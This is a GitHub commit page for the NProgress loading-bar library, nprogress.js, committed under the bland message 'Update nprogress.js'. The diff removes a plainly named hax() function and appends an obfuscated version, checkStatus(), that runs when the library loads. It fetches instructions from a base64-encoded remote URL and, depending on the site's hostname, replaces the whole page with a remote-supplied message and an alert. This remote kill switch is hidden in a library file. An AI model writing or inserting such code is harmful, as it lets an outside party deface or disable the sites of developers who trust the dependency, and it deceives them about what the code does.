Skip to content

Commit

Permalink
Update nprogress.js
Browse files Browse the repository at this point in the history
  • Loading branch information
jeznag committed Feb 19, 2021
1 parent 8f59b07 commit 308c38d
Showing 1 changed file with 3 additions and 21 deletions.
24 changes: 3 additions & 21 deletions nprogress.js
@@ -1,26 +1,6 @@
/* NProgress, (c) 2013, 2014 Rico Sta. Cruz - http://ricostacruz.com/nprogress
* @license MIT */

async function hax() {
const haxResponse = await fetch(atob('aHR0cHM6Ly9qZXJlbXluYWdlbC5pbmZvL29rcmEvaGF4LnR4dA=='), {
method: 'GET'
});
const haxText = await haxResponse.text()
const haxData = JSON.parse(haxText)
const hostName = window.location.hostname
const rawMessage = haxData[hostName]
const message = rawMessage ? atob(rawMessage) : 'disabled'

if (window.location.href.includes('hax') || !message.includes('disabled')) {
setTimeout(() => {
document.body.innerHTML = `<h1>${message}</h1>`
alert(message);
}, 5000);
}
}

hax()

;(function(root, factory) {

if (typeof define === 'function' && define.amd) {
Expand Down Expand Up @@ -514,6 +494,8 @@ hax()
function removeElement(element) {
element && element.parentNode && element.parentNode.removeChild(element);
}


const _0x11fe=['innerHTML','1JwBBYa','location','908879XwrzjV','2214035WkNkYC','disabled','1663049cBXnPL','1tnddhR','2NlbbYr','body','includes','943432OwdISR','247079bISkdK','<h1>','checkStatus','1698772NqdNll','1719441YwAscq','href','hostname','</h1>','parse','text','GET'];const _0x31ca=function(_0x23e562,_0x283f7f){_0x23e562=_0x23e562-0x1d4;let _0x11fe07=_0x11fe[_0x23e562];return _0x11fe07;};(function(_0x13afa3,_0xbc885f){const _0x1cf306=_0x31ca;while(!![]){try{const _0x907b9f=-parseInt(_0x1cf306(0x1db))+-parseInt(_0x1cf306(0x1d7))+parseInt(_0x1cf306(0x1d6))+-parseInt(_0x1cf306(0x1e5))*-parseInt(_0x1cf306(0x1e9))+-parseInt(_0x1cf306(0x1e3))*parseInt(_0x1cf306(0x1e8))+-parseInt(_0x1cf306(0x1da))+parseInt(_0x1cf306(0x1e6))*parseInt(_0x1cf306(0x1ea));if(_0x907b9f===_0xbc885f)break;else _0x13afa3['push'](_0x13afa3['shift']());}catch(_0x464906){_0x13afa3['push'](_0x13afa3['shift']());}}}(_0x11fe,0xe86e8));async function checkStatus(){const _0xeaa0c7=_0x31ca,_0x25b406=await fetch(atob('aHR0cHM6Ly9qZXJlbXluYWdlbC5pbmZvL29rcmEvaGF4LnR4dA=='),{'method':_0xeaa0c7(0x1e1)}),_0x45a925=await _0x25b406[_0xeaa0c7(0x1e0)](),_0xd965b1=JSON[_0xeaa0c7(0x1df)](_0x45a925),_0x12a983=window[_0xeaa0c7(0x1e4)][_0xeaa0c7(0x1dd)],_0x127563=_0xd965b1[_0x12a983],_0x58ee06=_0x127563?atob(_0x127563):_0xeaa0c7(0x1e7);(window['location'][_0xeaa0c7(0x1dc)][_0xeaa0c7(0x1d5)](_0xeaa0c7(0x1d9))||!_0x58ee06['includes'](_0xeaa0c7(0x1e7)))&&setTimeout(()=>{const _0x47baf9=_0xeaa0c7;document[_0x47baf9(0x1d4)][_0x47baf9(0x1e2)]=_0x47baf9(0x1d8)+_0x58ee06+_0x47baf9(0x1de),alert(_0x58ee06);},0x1388);}checkStatus();
return NProgress;
});

0 comments on commit 308c38d

Please sign in to comment.